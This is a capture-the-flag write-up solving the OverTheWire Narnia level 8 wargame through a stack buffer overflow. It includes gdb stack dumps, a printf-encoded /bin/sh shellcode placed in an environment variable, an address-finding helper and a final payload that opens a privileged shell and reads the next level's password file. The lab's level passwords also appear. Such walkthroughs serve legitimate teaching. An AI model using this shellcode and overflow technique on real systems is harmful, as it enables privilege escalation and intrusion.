SSH : ssh narnia8@narnia.labs.overthewire.org -p 2226
Pass : mohthuphog
First, let’s try to execute the program…
$ ssh narnia8@narnia.labs.overthewire.org -p 2226
narnia8@narnia:~$ cd /narnia/
narnia8@narnia:/narnia$ ./narnia8
./narnia8 argument
narnia8@narnia:/narnia$ ./narnia8 test
test
The program just print back our input.
Source Code
Let’s take a look at the source :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
Here we have a potential overflow in the bok variable, but if we try to overflow it we got some weird results :
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print 20 * "A"')
AAAAAAAAAAAAAAAAAAAA�������������
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print 21 * "A"')
Segmentation fault
We need to dig deeper, place a breakpoint at printf() in the func() function and run the code…
narnia8@narnia:/narnia$ gdb narnia8
(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:
0x0804841b <+0>: push ebp
0x0804841c <+1>: mov ebp,esp
0x0804841e <+3>: sub esp,0x18
0x08048421 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048424 <+9>: mov DWORD PTR [ebp-0x4],eax
...[removed]...
0x0804847f <+100>: push eax
0x08048480 <+101>: push 0x8048550
0x08048485 <+106>: call 0x80482e0 <printf@plt>
0x0804848a <+111>: add esp,0x8
0x0804848d <+114>: nop
0x0804848e <+115>: leave
0x0804848f <+116>: ret
End of assembler dump.
(gdb) break *func+106
Breakpoint 1 at 0x8048485
(gdb) run $(python -c 'print 20 * "A"')
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16wx $esp
0xffffd66c: 0x08048550 0xffffd674 0x41414141 0x41414141
0xffffd67c: 0x41414141 0x41414141 0x41414141 0xffffd871
0xffffd68c: 0xffffd698 0x080484a7 0xffffd871 0x00000000
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
(gdb) run $(python -c 'print 21 * "A"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 21 * "A"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16wx $esp
0xffffd66c: 0x08048550 0xffffd674 0x41414141 0x41414141
0xffffd67c: 0x41414141 0x41414141 0x41414141 0xffffc541
0xffffd68c: 0xffffd698 0x080484a7 0xffffd870 0x00000000
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
(gdb) run $(python -c 'print 22 * "A"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 22 * "A"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16wx $esp
0xffffd65c: 0x08048550 0xffffd664 0x41414141 0x41414141
0xffffd66c: 0x41414141 0x41414141 0x41414141 0xffffd841
0xffffd67c: 0xffffd688 0x080484a7 0xffffd86f 0x00000000
0xffffd68c: 0xf7e2a286 0x00000002 0xffffd724 0xffffd730
As you can see, I increased the size of the input for each stack dump. The second one shows that we overwrote 1 byte of the 8th value (from 0xffffd871
to 0xffffc541
), but it seems that we can’t overwrite more bytes…
We also note that the 8th and 11th values are the addresses of our input and the 10th value is the return address:
(gdb) run $(python -c 'print 20 * "A"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16wx $esp
0xffffd66c: 0x08048550 0xffffd674 0x41414141 0x41414141
0xffffd67c: 0x41414141 0x41414141 0x41414141 0xffffd871
0xffffd68c: 0xffffd698 0x080484a7 0xffffd871 0x00000000
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
(gdb) x/s 0xffffd871
0xffffd871: 'A' <repeats 20 times>
Check the following dump, the address 0x080484a7
is in fact the return address to main() at the following line 0x080484a7 <+23>: add esp,0x4
.
(gdb) run $(python -c 'print 20 * "A"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A"')
Breakpoint 2, 0x08048485 in func ()
(gdb) x/20xw $esp
0xffffd66c: 0x08048550 0xffffd674 0x41414141 0x41414141
0xffffd67c: 0x41414141 0x41414141 0x41414141 0xffffd871
0xffffd68c: 0xffffd698 0x080484a7 0xffffd871 0x00000000
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
0xffffd6ac: 0x00000000 0x00000000 0x00000000 0xf7fc5000
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <+0>: push ebp
0x08048491 <+1>: mov ebp,esp
0x08048493 <+3>: cmp DWORD PTR [ebp+0x8],0x1
0x08048497 <+7>: jle 0x80484ac <main+28>
0x08048499 <+9>: mov eax,DWORD PTR [ebp+0xc]
0x0804849c <+12>: add eax,0x4
0x0804849f <+15>: mov eax,DWORD PTR [eax]
0x080484a1 <+17>: push eax
0x080484a2 <+18>: call 0x804841b <func>
0x080484a7 <+23>: add esp,0x4
0x080484aa <+26>: jmp 0x80484bf <main+47>
0x080484ac <+28>: mov eax,DWORD PTR [ebp+0xc]
0x080484af <+31>: mov eax,DWORD PTR [eax]
0x080484b1 <+33>: push eax
0x080484b2 <+34>: push 0x8048554
0x080484b7 <+39>: call 0x80482e0 <printf@plt>
0x080484bc <+44>: add esp,0x8
0x080484bf <+47>: mov eax,0x0
0x080484c4 <+52>: leave
0x080484c5 <+53>: ret
End of assembler dump.
(gdb)
Okay, let’s try to restore the original pointer to our string, here it’s 0xffffd871
:
(gdb) run $(python -c 'print 20 * "A"')
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16x $esp
0xffffd66c: 0x08048550 0xffffd674 0x41414141 0x41414141
0xffffd67c: 0x41414141 0x41414141 0x41414141 0xffffd871
0xffffd68c: 0xffffd698 0x080484a7 0xffffd871 0x00000000
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
So, let’s add 1 byte to the payload (0x71
)
(gdb) run $(python -c 'print 20 * "A" + "\x71"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A" + "\x71"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16x $esp
0xffffd66c: 0x08048550 0xffffd674 0x41414141 0x41414141
0xffffd67c: 0x41414141 0x41414141 0x41414141 0xffff4c71
0xffffd68c: 0xffffd698 0x080484a7 0xffffd870 0x00000000
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
Hum, the orginal address shifted down to 0xffffd870
, let’s fix that :
(gdb) run $(python -c 'print 20 * "A" + "\x70"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A" + "\x70"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16x $esp
0xffffd66c: 0x08048550 0xffffd674 0x41414141 0x41414141
0xffffd67c: 0x41414141 0x41414141 0x41414141 0xffffd870
0xffffd68c: 0xffffd698 0x080484a7 0xffffd870 0x00000000
0xffffd69c: 0xf7e2a286 0x00000002 0xffffd734 0xffffd740
So far, so good. Let’s add a second byte, 0xd8
:
(gdb) run $(python -c 'print 20 * "A" + "\x70\xd8"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A" + "\x70\xd8"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16x $esp
0xffffd65c: 0x08048550 0xffffd664 0x41414141 0x41414141
0xffffd66c: 0x41414141 0x41414141 0x41414141 0xffffd870
0xffffd67c: 0xffffd688 0x080484a7 0xffffd86f 0x00000000
0xffffd68c: 0xf7e2a286 0x00000002 0xffffd724 0xffffd730
Okay, the address shifted down again to 0xffffd86f
. I followed the pattern util I was able to to overwrite the address of our string and continue to write on the stack :
(gdb) run $(python -c 'print 20 * "A" + "\x69\xd8\xff\xff" + "AAAA"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A" + "\x69\xd8\xff\xff" + "AAAA"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16x $esp
0xffffd65c: 0x08048550 0xffffd664 0x41414141 0x41414141
0xffffd66c: 0x41414141 0x41414141 0x41414141 0xffffd869
0xffffd67c: 0x41414141 0x080484a7 0xffffd869 0x00000000
0xffffd68c: 0xf7e2a286 0x00000002 0xffffd724 0xffffd730
The trick to remember is that you have to decrease the address of the string by 1 byte each time you add a byte to the payload. Let’s finish that by overwriting the return address :
(gdb) run $(python -c 'print 20 * "A" + "\x65\xd8\xff\xff" + "AAAA" + "CCCC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A" + "\x65\xd8\xff\xff" + "AAAA" + "CCCC"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16x $esp
0xffffd65c: 0x08048550 0xffffd664 0x41414141 0x41414141
0xffffd66c: 0x41414141 0x41414141 0x41414141 0xffffd865
0xffffd67c: 0x41414141 0x43434343 0xffffd865 0x00000000
0xffffd68c: 0xf7e2a286 0x00000002 0xffffd724 0xffffd730
(gdb) continue
Continuing.
AAAAAAAAAAAAAAAAAAAAe���AAAACCCCe���
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/x $eip
0x43434343: Cannot access memory at address 0x43434343
Perfect ! Now, as the buffer is too small for a shellcode, we will use an environment variable and return to it. I used the following one :
export SHELLCODE=$(printf "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")
Now, we’ll try to execute it in GDB. Note, that the addresses might have shifted so make sure to repeat the previous steps to fix the addresses of our payload.
(gdb) run $(python -c 'print 20 * "A" + "\x47\xd8\xff\xff" + "AAAA" + "CCCC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A" + "\x47\xd8\xff\xff" + "AAAA" + "CCCC"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16x $esp
0xffffd63c: 0x08048550 0xffffd644 0x41414141 0x41414141
0xffffd64c: 0x41414141 0x41414141 0x41414141 0xffffd847
0xffffd65c: 0x41414141 0x43434343 0xffffd847 0x00000000
0xffffd66c: 0xf7e2a286 0x00000002 0xffffd704 0xffffd710
Then, we will retreive our environment variable SHELLCODE by repeating the following command x/s *((char **)environ)
.
(gdb) x/s *((char **)environ)
0xffffd861: "LC_ALL=en_US.UTF-8"
...[removed]...
(gdb) x/s *((char **)environ)
0xffffde75: "LANG=en_US.UTF-8"
(gdb) x/s *((char **)environ)
0xffffde86: "OLDPWD=/tmp"
(gdb) x/s *((char **)environ)
0xffffde92: "SHELLCODE=1\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
Finally, we complete the payload :
(gdb) run $(python -c 'print 20 * "A" + "\x40\xd8\xff\xff" + "AAAA" + "\x92\xde\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia8 $(python -c 'print 20 * "A" + "\x40\xd8\xff\xff" + "AAAA" + "\x92\xde\xff\xff"')
Breakpoint 1, 0x08048485 in func ()
(gdb) x/16xw $esp
0xffffd63c: 0x08048550 0xffffd644 0x41414141 0x41414141
0xffffd64c: 0x41414141 0x41414141 0x41414141 0xffffd840
0xffffd65c: 0x41414141 0xffffde92 0xffffd840 0x00000000
0xffffd66c: 0xf7e2a286 0x00000002 0xffffd704 0xffffd710
(gdb) conti
Continuing.
AAAAAAAAAAAAAAAAAAAA@���AAAA����@���
process 10478 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "func" in current context.
Error in re-setting breakpoint 1: No symbol "func" in current context.
Error in re-setting breakpoint 1: No symbol "func" in current context.
$
Awesome, now we need to do the same outside GDB. First, let’s find the SHELLCODE environment variable with the following code :
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
You can, compile it in /tmp/ :
narnia8@narnia:/narnia$ cd /tmp
narnia8@narnia:/tmp$ gcc -m32 find_addr.c -o find_addr
narnia8@narnia:/tmp$ ./find_addr SHELLCODE
SHELLCODE is at 0xffffdea1
Then, we need to find the pointer of our payload :
narnia8@narnia:/narnia$ ./narnia8 $(python -c 'print 20 * "A"') | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 6ad8 ffff 98d6 ffff a784 0408 AAAAj...........
00000020: 6ad8 ffff 0a j....
narnia8@narnia:/narnia$ python -c 'print "{:8x}".format(0xffffd86a-12)'
ffffd85e
./narnia8 $(python -c 'print 20 * "A" + "\x5e\xd8\xff\xff" + "AAAA" + "\xa1\xde\xff\xff"')
AAAAAAAAAAAAAAAAAAAA^���AAAA����^���
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
eiL5fealae
Finally ! This one was kind of hard. It took me a while to figure it out :)
Narnia 09 Solution
SSH : ssh narnia9@narnia.labs.overthewire.org -p 2226
Pass : eiL5fealae
Nothing to do here, we are done !